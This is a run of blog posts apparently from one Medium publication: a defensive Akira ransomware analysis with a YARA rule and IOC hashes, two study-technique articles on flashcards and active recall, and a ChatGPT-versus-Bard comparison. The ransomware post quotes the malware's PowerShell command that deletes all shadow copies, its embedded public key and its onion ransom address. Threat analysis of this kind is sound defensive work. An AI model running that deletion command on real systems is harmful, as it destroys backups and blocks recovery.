Introduction

This malicious software has wreaked havoc on countless individuals, businesses, and organizations, leaving a trail of encrypted data and financial losses in its wake. In this blog post, we will delve into the inner workings of Akira Ransomware, exploring its origins, mode of operation, and the implications it has for cybersecurity.

Unveiling the Origins

In March, the US and Canada were attacked with a new family of ransomware called Akira. It’s not like the Akira ransomware that Microsoft Defender Antivirus flagged in 2017. Several organizations in the US were targeted and their sensitive data was exposed by the ransomware.

Akira Ransomware first made its appearance in the cyber threat landscape in March 2023. The threat actors behind Akira employ various extortion strategies, operating a website on the TOR network (with a .onion domain). This site lists victims and any stolen information, especially if the ransom demands aren’t met. Victims are directed to this TOR-based site, using a unique identifier found in the ransom message they receive, to initiate negotiations.

Changes in the 2023 Version

Targeting VPNs Lacking Multi-Factor Authentication (MFA)

Threat actors started targeting Cisco VPNs that weren’t configured for multi-factor authentication in 2023. By using this tactic, they could infiltrate organizations more easily. By implementing MFA, you’ll be able to reduce the risk of unauthorized access, including ransomware infections. In the event that a threat actor gets unauthorized access to VPN credentials, MFA provides an extra layer of protection.

Advanced Attack Techniques

Attackers target VPNs by exploiting exposed services or applications. Their focus is on MFA vulnerabilities and VPN software vulnerabilities. In order to get a foothold in a target network, they use LSASS dumps (Local Security Authority Subsystem Service) to extract credentials and escalate privileges. In addition, the group has been linked to using tools like PCHunter64 and creating minidumps to gather more information.

Brute-Forcing vs. Purchasing Credentials

1. Brute-Force: Evidence suggests the attackers used brute force and password spraying. The brute force method involves trying various combinations of usernames and passwords until the right one is found. An attacker tries a few common passwords against lots of usernames in password spraying.
2. Purchasing Credentials through Dark Web Market: Attackers can sometimes acquire valid credentials by purchasing them on the dark web. Data breaches or other means might have made these credentials available. As the attacker would simply log in using valid credentials, this method would leave no trace in the VPN’s logs.

Detection from Cisco Logs

• Login attempts with invalid username/password (%ASA-6–113015)
  Example:
  %ASA-6–113015: AAA user authentication Rejected: reason = reason : local database: user = user: user IP = xxx.xxx.xxx.xxx
• Remote access VPN session creation attempts for unexpected connection profiles/tunnel groups (%ASA-4–113019, %ASA-4–722041, or %ASA-7–734003)

Ransomware Analysis

The Akira Ransomware sample, identified by its SHA256 hash 3c92bfc71004340ebc00146ced294bc94f49f6a5e212016ac05e7d10fcb3312c, is a console-based 64-bit executable crafted using the Microsoft Visual C/C++ compiler.

The ransomware starts its operation by using the GetLogicalDriveStrings() API function to enumerate and get a list of all logical drives in the system when it’s executed. As a result, Akira drops his ransom note across multiple folders under the name “akira_readme.txt”. During its malicious activities, the ransomware scans for files and directories to encrypt. The API functions FindFirstFileW() and FindNextFileW() facilitate this encryption process. The Akira software excludes certain file extensions and names during its encryption phase, so .exe, .dll, .sys, .msi, .lnk, and .akira files aren’t affected.

The presence of the command powershell.exe -Command Get-WmiObject Win32_Shadowcopy | Remove-WmiObject within the strings extracted from Akira Ransomware's static analysis is particularly concerning. This command is a clear indication of the ransomware's intent to hamper recovery efforts. Specifically, the command utilizes PowerShell to interact with the Windows Management Instrumentation (WMI) system, targeting the Win32_Shadowcopy class. The Win32_Shadowcopy class represents the shadow copies on a system, which are essentially backup copies or snapshots of computer files or volumes. By piping (|) the results of the Get-WmiObject Win32_Shadowcopy command to Remove-WmiObject, the ransomware instructs the system to delete all existing shadow copies. This action effectively prevents victims from restoring their files to a previous state using Windows' native shadow copy functionality. By eliminating this potential recovery method, Akira Ransomware further pressures its victims into paying the ransom, as traditional backup restoration options become limited or non-existent.

Akira ransomware employs a sophisticated encryption mechanism, leveraging the “Microsoft Enhanced RSA and AES Cryptographic Provider” libraries. Drawing from the CryptoAPI, it utilizes functions such as CryptAcquireContextW(), CryptImportPublicKeyInfo(), CryptGenRandom(), and CryptEncrypt(). Notably, Akira combines the robustness of both RSA and AES encryption algorithms and is equipped with a hardcoded base64 encoded public key. Upon successful encryption, it appends a distinctive .akira extension to the filenames, signaling the completion of its encryption process.

Upon infection by Akira ransomware, victims receive a “akira_readme.txt” note. This message details the compromise of their system, warns of data exfiltration, and demands a ransom. To negotiate, victims are directed to a specific chat room on the dark web via a provided Tor link. The attackers emphasize the risks of non-compliance, including potential data sale on the dark market.

Example Link:

hxxps://akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad[.]onion/

Public Key

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlGDrPaVAQy+cIqMWA2v2
M7ntzniNYnp1hvAuxCOgTpTUN+Z2TwAR4pt2YdQD2As5e/rWgZlqsi/d31OzMSWo
FtliVyiSBuTtnJuoTRjGlUAazvi1PCVbckWVsZO7YDevn8lZ2ouzCRTF7X+AKyQZ
dpHLTfDBY/AXBkZ8BGYJjFu3kVhRQZL47VjGoQvzBi7JCCJyVfxN+KUjQtKmuxuQ
jDqZcqkzcppcqRXIDVm7YuogSgrcNBbdo6PBTzE0I/Cd7P/xCe5eO5ejIPtMg6I3
wHcIIMf5sa7h+TskS093kRVEgj3FWO1KeZBA2Ep4qM8kOw2/uN+idjOVKpLcN1zO
WkTXEQMIPkt9gYtItAb3VofqGhBXmM95SCRYqAagaPQXKTU2oXM5z9YvgYmG5Enb
TAymgAkC/u6ckAmlODH0FOsm1be9ygcTGaTuZQXQ0oQY1UvIs5kciA+wrMdmw07m
cvqj/Lto3fi447RqeZjkOqFQZREok+a2Wjk28FYbWKm4AWEOFNx2gAjdlXPCZr8x
sDlAVQ4arDhjon7j4ink1HS5Ybh+RcgvJpQgQ6QyplI4lT3YGXzE/hQnAuqeXzI3
ORtGLvbJ1X29buoFIFQhc/48Rm96hHYGDrr8qDkVXCDdK2ebV89ODbgIaEQSZrql
HA2I94pqZC43Ps8yYmBMBkcCAwEAAQ==
-----END PUBLIC KEY-----

Akira Ransomware: Key Services in its Crosshairs

.abcddb, .abs, .abx, .accdb, .accdc, .accde, .accdr, .accdt, .accdw, .accft, .adb, .ade, .adf, .adn, .adp, .alf, .arc, .ask, .avdx, .avhd, .bdf, .bin, .btr, .cat, .cdb, .ckp, .cma, .cpd, .dacpac, .dad, .dadiagrams, .daschema, .db-shm, .db-wal, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .ddl, .dlis, .dqy, .dsk, .dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb, .fic, .fmp, .fmp12, .fmpsl, .fol, .fpt, .frm, .gdb, .grdb, .gwi, .hdb, .his, .hjt, .icg, .icr, .idb, .ihx, .iso, .itdb, .itw, .jet, .jtx, .kdb, .kdb, .kexi, .kexic, .kexis, .lgc, .lut, .lwx, .maf, .maq, .mar, .mas, .mav, .maw, .mdb, .mdf, .mdn, .mdt, .mpd, .mrg, .mud, .mwb, .myd, .ndf, .nnt, .nrmlib, .nsf, .nvram, .nwdb, .nyf, .odb, .oqy, .ora, .orx, .owc, .pan, .pdb, .pdm, .pnz, .pvm, .qcow2, .qry, .qvd, .raw, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdat, .sbf, .scx, .sdb, .sdc, .sdf, .sis, .spq, .sql, .sqlite, .sqlite3, .sqlitedb, .subvol, .temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .vdi, .vhd, .vhdx, .vis, .vmcx, .vmdk, .vmem, .vmrs, .vmsd, .vmsn, .vmx, .vpd, .vsv, .vvv, .wdb, .wmdb, .wrk, .xdb, .xld, .xmlff

Akira ransomware casts a wide net, targeting an extensive array of file extensions. From common database formats like .mdb, .accdb, and .sql to virtual machine-related files such as .vmdk, .vhdx, and .vmx. Its reach also extends to specialized data storage formats like .nsf, .sas7bdat, and .xmlff. This vast spectrum of targeted extensions underscores Akira's intent to cripple essential data repositories and virtual environments, amplifying its impact on victims.

Detecting Akira Ransomware via SIEM (Security Information and Event Management)

SIEM platforms play a pivotal role in identifying and mitigating threats like the Akira ransomware. By analyzing logs and events from various sources, SIEM can pinpoint suspicious activities indicative of a ransomware attack. Here are some potential detection strategies for Akira using SIEM:

Unusual Process Execution

Red Flags in the Registry: Detecting Dubious Entries

Spotting Stealth: Monitoring Unsigned Binary Executions

Linux Sysmon Unveiled: Tracking System Activities with Precision

Crafting the Sentinel: YARA Rules for Akira Detection

/*
Akira ransomware
*/
rule Akira
{
    meta:
        author = "rivitna"
        family = "ransomware.akira.windows"
        description = "Akira ransomware Windows payload"
        severity = 10
        score = 100
strings:
        $s0 = "\x00--encryption_path\x00" ascii
        $s1 = "\x00--share_file\x00" ascii
        $s2 = "\x00--encryption_percent\x00" ascii
        $s3 = "\x00-fork\x00" ascii
        $s4 = "\x00Failed to read share files\x00" ascii
        $s5 = ":\\akira\\asio\\include\\" ascii
        $s6 = "\x00write_encrypt_info error: \x00" ascii
        $s7 = "\x00encrypt_part error: \x00" ascii
        $s8 = "\x00Detected number of cpus = \x00" ascii
        $s9 = "\x00No path to encrypt\x00" ascii
        $s10 = "Paste this link - https://akira" ascii
        $s11 = "-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA" ascii
        $s12 = "\x00Trend Micro\x00" wide
        $s13 = " :Failed to make full encrypt\x00" wide
        $s14 = " :Failed to make spot encrypt\x00" wide
        $s15 = " :Failed to make part encrypt\x00" wide
        $s16 = " :Failed to write header\x00" wide
        $s17 = " :file rename failed. System error: \x00" wide
        $h0 = { 41 BA 05 00 00 00 41 80 FB 32 44 0F 42 D0 33 D2 48 8B C?
                49 F7 F2 4C 8B C8 B9 02 00 00 00 41 B8 04 00 00 00
                41 80 FB 32 44 0F 42 C1 41 8B C8 48 0F AF C8 48 2B F9 33 D2
                48 8B C7 49 F7 F2 }
        $h1 = { C7 45 ?? 03 00 00 00 80 7D ?? 31 76 07 C7 45 ?? 05 00 00 00
                0F B6 45 ?? 48 0F AF 45 ?? 48 C1 E8 02
                48 B? C3 F5 28 5C 8F C2 F5 28 48 F7 E? 48 89 ?? 48 C1 E8 02 }
    condition:
        (((uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550)) or
         (uint32(0) == 0x464C457F)) and
        (
            (7 of ($s*)) or
            (1 of ($h*))
        )
}

Indicators Of Compromise

v1 (Windows)
3c92bfc71004340ebc00146ced294bc94f49f6a5e212016ac05e7d10fcb3312c
7b295a10d54c870d59fab3a83a8b983282f6250a0be9df581334eb93d53f3488
678ec8734367c7547794a604cc65e74a0f42320d85a6dce20c214e3b4536bb33
67afa125bf8812cd943abed2ed56ed6e07853600ad609b40bdf9ad4141e612b4
8631ac37f605daacf47095955837ec5abbd5e98c540ffd58bb9bf873b1685a50
1b6af2fbbc636180dd7bae825486ccc45e42aefbb304d5f83fafca4d637c13cc
2084ab8f92a86a37a35879378610949e21ea7b5030313655bb82fe6c67772b0d
4aaa583a9c554ea8e73d4dee0d53eb12dda17df16388f96c0f6ddbaafbcda813
920384692233578a59fc8de2b0205fd9fb20bb0d75c1d5a1534377abf0fc08bc
2b28270c1675990a2c78b31faab547fb75948dd1c2b22e892377ee5e40abebc2
4839fd081e720d7d5091274470679c120378196e1f4faf80c4bac08d8ee7bb8c
9ca333b2e88ab35f608e447b0e3b821a6e04c4b0c76545177890fb16adcab163
d0510e1d89640c9650782e882fe3b9afba00303b126ec38fdc5f1c1484341959
473326da3fff09ee3e486f5f39c090690437ac8bf8bdce556c8033e8f0d730fc
6cadab96185dbe6f3a7b95cf2f97d6ac395785607baa6ed7bf363deeb59cc360
337d21f964091417f22f35aee35e31d94fc3f35179c36c0304eef6e4ae983292
772eb611c9ca20b461536fd0bd87d553dcecf3f4c82e26c2378cad40bbf4b0b0
b3f473b0fd752fcd8b0d5983366c4ccccdacdceb8d6ba25fcb02b34c622cca78
cfbcea795524c69a6d28fd9e60e07437d8f2abd23812109430ca2efd46606310

v2 (Windows)
2e2ad6392e75d5a5155498c2a76cb373d17ca3ad4ba57c6d33c623fca5e29342
3f4ceeada7ff021c30df1646437d2ab0e55997bbb281444501f6d1f4ea8fa209
4cb8365b18b1c319d374be0b9d219144c20fb8714e9cf346e655f854d2c60170
637e28b38086ff9efd1606805ff57aaf6cdec4537378f019d6070a5efdc9c983
92072945358b605c024b9e3335fb33b82faf33048c56f5529aaf5af4bf0c1b30
c239dadd55b55b817fda5b0c2bb062adf399a5b78a8b3280a473d3ae66f81777
fb2433beb961839b36198e242d0dedb7fa85ab3e08a1141d02874aa4235ac776
2a9257c6c74e37d051f78ed5abaa620b71b27fa3604798af077256a128d911bb
89f5f29cf6b5bcfc85b506fb916da66cb7fd398cf6011d58e9409c7813e1a6f3
8738ba49fcd520789569aea7bf7af890741a745c79ae2bef49b93fb46c076c2b
27009c0abd2709cd5cac4c0135b8f3bed3229b0921601638ba9e90713ede91ea

v3 (megazord) (Windows)
c9c94ac5e1991a7db42c7973e328fceeb6f163d9f644031bdfd4123c7b3898b0

Linux
1d3b5c650533d13c81e325972a912e3ff8776e36e18bca966dae50735f8ab296

Proactive measures against Akira ransomware

1. Keep an eye out for suspicious email attachments and links. Check the sender’s legitimacy before you open anything.
2. Make sure you only download files and programs from trusted stores and official websites. Click away from dubious sites.
3. Regular updates: Make sure all your software is up to date. Patching vulnerabilities helps stop cybercriminals from exploiting them.
4. Enable multi-factor authentication (MFA) wherever possible and implement strong password policies. It adds another layer of security.
5. Keep your critical data backed up offline regularly. Updating these backups will provide a fallback in case of a ransomware attack.
6. Report Suspicious Activities: If you suspect ransomware or become a victim of it, report it to the appropriate authorities. It can help track cybercrime activity and perhaps prosecute the criminals.
7. Train and Educate: Make sure your employees and users are up-to-date on the latest ransomware threats.

Conclusion

Thank you for taking the time to read this article. We hope it provided valuable insights and actionable recommendations to safeguard against the Akira ransomware threat. Knowledge is a powerful tool in the fight against cyber threats, and sharing this information can make a difference.

The Gray Area is a collection of great cybersecurity and computer science posts. Become a writer for The Gray Area by filling out this form! To get updates whenever The Gray Area publishes an article, check out our Twitter page, @TGAonMedium.

The Gray Area

References

• Akira Ransomware: What makes this ransomware a national-level threat?
• Akira Ransomware Targeting VPNs without Multi-Factor Authentication
• Akira Ransomware

The Akira Ransomware Saga: Origins, Tactics, and Countermeasures was originally published in The Gray Area on Medium, where people are continuing the conversation by highlighting and responding to this story.

Short answer: draw mind maps, teach the topic, build homelabs, practice questions, summary sheets

Cognitive psychology is the study of how humans process information such as attention, learning, memory, perception, problem solving, and reasoning. Not only does cognitive psychology apply to learning, but all aspects of cybersecurity from behavior to biometrics to social engineering. It is about making sense of human behavior. In this article and future articles, we will be applying knowledge and techniques published by cognitive psychologists and neuroscientists to cybersecurity knowledge.

Active Recall and Spaced Repetition

If you’ve looked at any study content online recently, you’ll probably see a ridiculous amount around active recall and spaced repetition. Active recall is trying to remember the something and spaced repetition is studying the content as you start to forget it. In the late 1800s, cognitive psychologist, Hermann Ebbinghaus discovered what we know as the Forgetting Curve. The Forgetting Curve shows how we forget information over time if we make no effort to solidify the information.

While they are decent methods, they are being sold as golden path to studying when in fact there are issues.

Issues with Active Recall and Spaced Repetition

Issue 1: Everything is memorization-based.

How do flashcards make you connect the information you’re learning together? They don’t. I won’t dive into this issue too much, that will be another article.

Issue 2: The forgotten part of Ebbinghaus’ theory.

This is heavily tied to Issue 1. It often get’s missed that Ebbinghaus’ theory also mentions to make recall easier is to anchor the information to what you already know. Let’s say you’re learning Linux, you come across the command “dhclient” to clear out the DHCP lease. The command can know be anchored to what you know about DHCP. Similarly, if there’s a piece of software you currently know, chances are you can relate a new piece of software to it. Anchoring can be done through protocols, theories, processes, domains, etc.

Issue 3: Overwhelming load.

One point about spaced repetition is that if you don’t pass the active recall on one of the flashcards, that flashcard will go back to the first review. For example, let’s say you’re working through a flashcard you haven’t reviewed for one week, if you get it right, then next time you review it should be in one month. Let’s say you get the question wrong, then the card will be in your review the next day. We all hope we never miss any, but it’s normal to miss questions especially when learning. Eventually, we will all run into a day where the flashcards seem never ending — new cards, older flashcards, and flashcards we’ve previously missed.

Issue 4: Lack of dimensionality.

If you read my last article, you’ll know understanding a topic from multiple angles is beneficial. With multiple dimensions, you’re able to answer trick questions, think through relationships thoroughly, draw conclusions, accurately answer long-form questions, and teach the information.

Issue 5: No progress in your studying methods.

One of the major drawbacks of just practicing flashcards on a regular schedule is there is no long term benefit to our study techniques and no progress in our forgetting curves. We will only have learned the content and forced ourselves through painful flashcards. There have been numerous peer reviewed research articles supporting the theory of multiple study methods having increased the retrieval for each spaced repetition. Eventually, we will be able to modify our forgetting curve’s to look something like the following:

Corrections of Active Recall and Spaced Repetition

To refine our active recall and spaced repetition, it’s recommended to follow the same retrieval schedule but with the methods from the below article:

Studying in Cybersecurity

In case you missed it, the methods were to

• Draw mind maps
• Teach the topic
• Build homelabs
• Practice questions
• Summary sheets

Overview

The standard active recall and spaced repetition we know from the internet has a number of flaws, but with minor corrections, we can make them more effective. Currently, active recall and spaced repetition lacks forming relationships between topics, forming relationships with what we currently know, can be overwhelming and mundane, lacks being able to answer difficult questions, and serves a single long-term goal — memorize the information.

A huge shout out to Justin Sung on Youtube who has saved my butt may times in learning, note taking, and studying! Definitely check his content out!

Follow or subscribe for the next article!

The Gray Area is a collection of great cybersecurity and computer science posts. Become a writer for The Gray Area by filling out this form! To get updates whenever The Gray Area publishes an article, check out our Twitter page, @TGAonMedium.

The Gray Area

Active Recall & Spaced Repetition in Cybersecurity was originally published in The Gray Area on Medium, where people are continuing the conversation by highlighting and responding to this story.

Short answer: gradually consolidate your flashcards

Cognitive psychology is the study of how humans process information such as attention, learning, memory, perception, problem solving, and reasoning. Not only does cognitive psychology apply to learning, but all aspects of cybersecurity from behavior to biometrics to social engineering. It is about making sense of human behavior. In this article and future articles, we will be applying knowledge and techniques published by cognitive psychologists and neuroscientists to cybersecurity knowledge.

Goals of Flashcards

Make them active:

• Don’t just flip the card over and read the answer. Say the answer, mouth the answer, or write the answer. Trust me, if you don’t, you will slip into reading the answer which leads to passive studying and recognition.
• Don’t copy someone else’s deck. There will be too many flashcards leading to overwhelm. This overwhelm will turn into passive studying or no studying then failure. Create your own decks. You will become familiar with the concepts that relate to one another. You’re more than welcome to use other decks as a reference for relationships you didn’t see but don’t rely on them.

When I do flashcards, I treat the card as if my mom was asking the question. I’ll give a basic overview of the topic, how it relates to things she knows, how it can be used, and how it’s relevant to her.

Remember: We want active studying and recall.

Create relationships:

• Brain dump each of the concepts. Most of us think faster than speaking or writing. Since we want to speak or write the answer, we’ll be more inclined to answer more than what the question asks. We’ll be able to say what the topic is related to or how it relates to the overall picture. Additionally, if there’s more than one flashcard about the topic, go ahead and answer that question too. Since you created the flashcards, you’ll have some idea of there are multiple related cards.

Remember: We want anchor to something we already know and create relationships between concepts.

Ask difficult questions:

• Build test questions. We haven’t built the cards yet, so we’re probably not ready for the test. That’s alright! Build questions that are challenging to you at each stage. This means we will have multiple versions of flashcards that will get progressively harder as we continue to study. Eventually, we’ll reach a level of mastery that can imitate the question types (most instructors or certifications provide the question types or sample questions).

Remember: Challenge yourself. Challenge means growth and improvement.

Paper vs Online:

• Online flashcards are easy. “Online” doesn’t necessarily mean using a tool that requires the internet, but using a computer. Obsidian has a plugin very similar to Anki, ASOR. ASOR uses the spaced repetition and the Forgetting Curve formula. There’s no cost (like iOS version of Anki), no ads (like Quizlet), no internet needed (like Anki and Quizlet), and you create your own backup. Additionally, you don’t have to spend the time writing down the content nor carry the cards around with you.
• Paper has proven to consolidate the information and lead to more retention. However, I save it for other studying methods or at the last flashcard version. The final version of flashcards is essentially a brain dump. I tend to pull out a blank sheet of paper with no question and start drawing or writing everything about the topic. See Studying in Cybersecurity for more details.

Remember: To avoid burn out or overwhelm, we want to make the flashcard process as easy as possible.

Effective Flashcards

We’ve built our goals of the flashcards, time to apply the principles. Here’s the basic structure of how your notecard system should look — multiple versions, leading to the test, and increasing difficulty.

Version 1: Foundational Flashcards

These flashcards will contain the foundational relationships and test your basic understanding of concepts. If there are certain concepts you know without a beat, don’t waste your time creating the flashcard. If you’re hesitant on the answer or don’t have the full answer, create a flashcard. Once you go through the flashcards and build up your confidence in the subject, move on to the second version. I would recommend applying the 80/20 rule before moving on — 80% being flashcards you actively know without hesitation and 20% being the once you need to improve on.

Often times, the first version are basic questions to get the foundations down. For example, “What are the different Splunk components and what do they do?” “What role does the license server play in the architecture?”

Common question types: What

Version 2: Consolidated Flashcards

This version of flashcards will be more difficult to answer but there should be significantly less cards than the previous version. You might still struggle with questions from the pervious version, that’s alright! You can include those in this version too. We should be asking ourselves how topics relate to one another or what role they play in understanding the overall theme. Again, follow the 80/20 rule before archiving these cards and moving on to the next version.

For example, “What is the relationship between each of the Splunk components? Forwarder -> Deployment Server, Forwarder -> Manager Node, Forwarder -> Deployer, Indexer -> Deployment Server, etc…”

Common question types: Relational, How

Version n: Test Question Flashcards

The variable, n, being some number. With each flashcard version, the questions should continue to progress towards test-like questions. Even though not all tests are in flashcard format, the flashcard could request an essay, a mindmap, a process, etc. Of course you can continue to test previous questions you’ve struggled with. Once you complete mastery on that card, level it up. The main goal is to level up the questions from the previous version and continue to consolidate your flashcards with the more information you retain.

For example, “What happens to the Splunk architecture if <this> component is not functioning/off?” “A user comes to you and asks <this> question, what is your thought process, what do you need to evaluate and implement, and how do you explain this to a customer?”

Common question types: Cause and Effect

For more details on how to build effective flashcards, check out Justin Sung’s video!

Overview

• Version 1 contains everything I don’t know. Version 2 consolidates version 1 flashcards to a build a larger, more difficult questions. Archived flashcards go in an Archive folder.
• We’ll continue to go through consolidating our flashcards to construct more difficult questions.
• With each flashcard version, the questions should continue to develop into test-like questions.

A huge shout out to Justin Sung on Youtube who has saved my butt may times in learning, note taking, and studying! Definitely check his content out!

Follow or subscribe for the next article!

The Gray Area is a collection of great cybersecurity and computer science posts. Become a writer for The Gray Area by filling out this form! To get updates whenever The Gray Area publishes an article, check out our Twitter page, @TGAonMedium.

The Gray Area

How to Use Flashcards in Cybersecurity was originally published in The Gray Area on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hey there readers! It’s been a hot minute since I last shared my thoughts in a blog — life’s been pretty jam-packed lately! But hey, I’m back, and today, we’re diving into the clash of the AI titans. You’ve probably heard of ChatGPT, right? It’s a stellar AI, especially for students — perfect for your assignments and musings. But hey, if you’re working, you might use it differently — more for jotting down thoughts than coding, ’cause, you know, sensitive company info and all.

Here’s a wild tidbit: Samsung had a bit of a whoopsie when some confidential info got out while they were using ChatGPT. Yep, it was from their semiconductor division! The bigwigs at Samsung warned that if this happens again, they might just bid farewell to ChatGPT in their offices.

Now, onto the real deal! Google’s making waves with Gemini, Gemini 1.0, their new big-shot AI. It’s making its way into Google products, starting with Bard. They’ve fine-tuned this Gemini Pro for some serious advanced smart think reasoning, planning, and more. It’s Bard’s most epic upgrade yet!

Developers and businesses can access Gemini Pro via the Gemini API in Google AI Studio or Google Cloud Vertex AI starting December 13. Oh, and hold onto your hats, Gemini Ultra is in the works! They’re doing all sorts of safety checks and fine-tuning to make it super top-notch before it hits the scene.

Exciting stuff, right? The world of AI is buzzing, and these titans are just getting started!

Before we begin, for this test, we are using Bard, as it’s free and equipped with Gemini pro, and Chat Gpt 4, which is the latest Chat Gpt version from the open AI.

We’ve broken down the test into different categories to help figure out which AI model fits your needs best and delivers superior results.

First up, let’s chat about the Battle of Conversation — how well these AI models can understand and engage in a conversation with you. It’s like witnessing an epic clash of wits!

Next, it’s the Battle of Problem-Solving. We’ve thrown a bunch of computer science problems at both generative AI models to see how they tackle them. Who emerges victorious in this brainy challenge?

Then comes the intriguing world of understanding various types of data. Both these AI agents can handle images, but which one truly comprehends them better? And let’s not forget about Google’s access to YouTube videos — how deep can it dive into understanding video data?

Battle of Conversation

User: Hello

ChatGPT: Hello! How can I assist you today?

Bard: Hello! How can I help you today?

User: What can you do, how can you help me with?

ChatGPT: I can assist you with a wide range of tasks and provide information on various topics. Here are some ways I can help you:

• Answering Questions: I can provide information, explanations, and answers to your questions on a wide range of subjects.
• Writing Assistance: I can help you write essays, articles, letters, or any other type of text.
• Language Translation: I can translate text between different languages.
• Coding Help: I can offer guidance and code snippets in various programming languages.
• Math and Calculations: I can perform mathematical calculations and solve equations.
• Recommendations: I can offer recommendations for books, movies, restaurants, and more based on your preferences.
• Conversion: I can convert units, currencies, and measurements.
• General Knowledge: I can provide information on historical events, scientific concepts, and more.
• Task Automation: I can help automate tasks by providing scripts or code snippets.
• Brainstorming: I can assist with generating ideas for projects or creative writing.

Bard: I can do quite a lot! Here are some ways I can help you:

• Answering your questions: I have access to a vast amount of information on various topics.
• Generating creative text formats: I can write different kinds of creative content like poems, code, scripts, and more.
• Translating languages: I can translate text between many different languages.
• Summarizing information: I can summarize long articles, documents, or even entire books.
• Brainstorming ideas: I can help you brainstorm new ideas and solutions.
• Being a sounding board: I offer a safe space to share thoughts and feelings.

User: Knock, knock!

ChatGPT: Who’s there?

Bard: (With a playful, surprised tone) Who’s there? Come in, whoever you are, but be ready for a warm welcome and possibly a friendly pie-throwing competition!

User: What do you call a fake noodle?

ChatGPT: You call a fake noodle an “impasta”!

Bard: Oh, I see what you did there! My favorite answer for this one is definitely a classic: an impasta! (Pun intended on “imposter” and “pasta”).

User: Do you know that Sam Altman got fired from OpenAI, and after that what happened?

ChatGPT: I’m not aware of any developments or events related to Sam Altman being fired from OpenAI. As of my last knowledge update in January 2022, Sam Altman was the CEO of OpenAI.

Bard: Yes, I am aware of the recent events surrounding Sam Altman and OpenAI. It was a whirlwind of a story, so let me summarize the key points…

Let’s talk about how these AI champs handle conversations! They both bring their A-game, but each has its own shining moments. ChatGPT? Oh, it’s a jokester extraordinaire! It slays when it comes to cracking jokes and delivering punchy one-liners.

But wait, here’s where things get interesting! When I thirsted for the freshest scoop, Bard strutted in with its up-to-the-minute intel. I tossed a question about Sam Altman’s OpenAI saga, and ChatGPT mentioned it only trained up to 2022. Bard, on the other hand, spilled the tea on Altman’s firing, quick return as CEO, and even his leap to Microsoft’s AI board — talk about drama!

Not just that, Bard didn’t stop at the story. It hooked me up with articles and websites to dig deeper. So, in the ring of emotions, ChatGPT’s the champ, but when it’s all about the freshest gossip and info, Bard’s the undisputed winner!

Battle of Problem-Solving

User: Arrange the Big O notation of running times from fastest to slowest

Okay, let’s dissect what went down here! Bard kicked off strong, nailing the first three Big O notations from fastest to slowest flawlessly. But as the convo rolled on, it stumbled a bit. Meanwhile, ChatGPT held its ground, firing off correct answers like a pro.

Now, let’s dive into some coding action! I tackled a beefy problem

420. Strong Password Checker — from LeetCode, and here’s the scoop:

Chat GPT’s code: Wrong Answer — 44 / 53 testcases passed

BARD’s code: Wrong Answer — 2 / 53 testcases passed

Bard’s result? Not so hot. It’s clear: even with Gemini Pro in Bard’s corner, ChatGPT takes the lead. Sure, with some tweaks, Bard could patch things up, but this test was all about their raw understanding right out of the gate.

Seems like Bard might need a little more training to catch up in this coding game, even with its Gemini upgrades.

Battle for Flexibility

Alright, time to put these agents to the test and see how flexible they are with different types of info! When I quizzed ChatGPT about the files it can handle, it confidently listed images, text docs, audio files, and even data files like CSVs. Meanwhile, Bard’s got some cool tricks up its sleeve — it’s a pro at handling images, can snag videos from YouTube, and even taps into the magic of Google Maps.

Now, let the showdown begin! First up, we’ll toss them an image and ask for a juicy description. Then, we’ll serve up a text file and request a condensed summary. After that, we’ll slide in an audio file and ask them to whip up some lyrics. For Bard, we’re diving into YouTube territory — tasking it to transcribe a video. And to top it off, we’ll ask both these models to dig into a website URL and extract the hidden treasure trove of info.

Let’s see who’s the champ at handling this mixed bag of data!

We handed over this picture to both models and challenged them: ‘What’s happening here?’ We asked them to give us the lowdown on what this image is all about.

I believe both models aced it when it came to figuring out what’s happening in the image. They spotted a monkey head surrounded by icons that scream ‘Apple tech’ and more.

We are giving Swift Playgrounds Curriculum Guide for both models, we’re planning to challenge both models by tossing them a URL first, then switching things up by throwing a PDF their way, and asking for a neat little summary. Let’s see how they handle this dynamic duo of data formats!

Looks like Bard hit a roadblock — couldn’t access that website nor can read the pdf. Meanwhile, ChatGPT gave it a shot but also came up short with the website URL. So, we switched gears and handed that PDF over to ChatGPT, asking for a summary, and guess what? ChatGPT nailed it! Successfully summarized like a champ.

For the video here we are using Computer Scientist Answers Computer Questions From Twitter Professor and computer scientist David J. Malan joins WIRED to answer your computer and programming questions from Twitter. How do search engines compile information so quickly? Which operating system is best? How do microchips work?

Bard absolutely aced the task of summing up the content of that video! Not only that, when I asked for some notes, Bard delivered with flying colors, giving me a fantastic breakdown of the video’s key points.

We grabbed some audio from the first lecture of ‘The Computer Science of Digital Information’ by the brilliant HARRY R. LEWIS, PHD, who’s the GORDON MCKAY PROFESSOR OF COMPUTER SCIENCE at HARVARD UNIVERSITY. In this lecture, he dives into the intriguing concept of a ‘bit.’ You can access here Link 1 Link 2

But hey, here’s the twist: Although there’s a cool feature to upload audio to ChatGPT, it stumbled when it came to figuring out what that audio was all about. Despite being a powerhouse in understanding documents, it seems the audio recognition feature might need a tune-up. OpenAI might want to steer clear of promising functionalities that aren’t quite there yet!

Time to put Bard’s map feature to the test! We threw Bard a challenge: ‘Give us directions from Cupertino’s Apple Headquarters to UC Davis University’s main building.’ Bard jumped right in, utilizing its map extension and voila! Directions were served up. But that’s not all — Bard didn’t just stop at directions. It tossed in a helpful tip: ‘Hey, better allow some extra time for traffic, especially during busy hours. And don’t forget to peek at the weather forecast — road conditions matter!’ How thoughtful of Bard!

Conclusion

In this tech showdown between Bard and ChatGPT, it’s evident they both bring unique strengths to the table. Bard, akin to a versatile Google Assistant, showcases impressive skills like accessing YouTube, analyzing images akin to Google Lens, and providing navigation insights similar to a GPS.

On the other hand, ChatGPT emerges as a diverse tool — it’s more like a knowledgeable virtual encyclopedia. It can handle PDF documents, analyze certain websites, understand images, and sometimes even generate images — akin to a highly adept digital librarian.

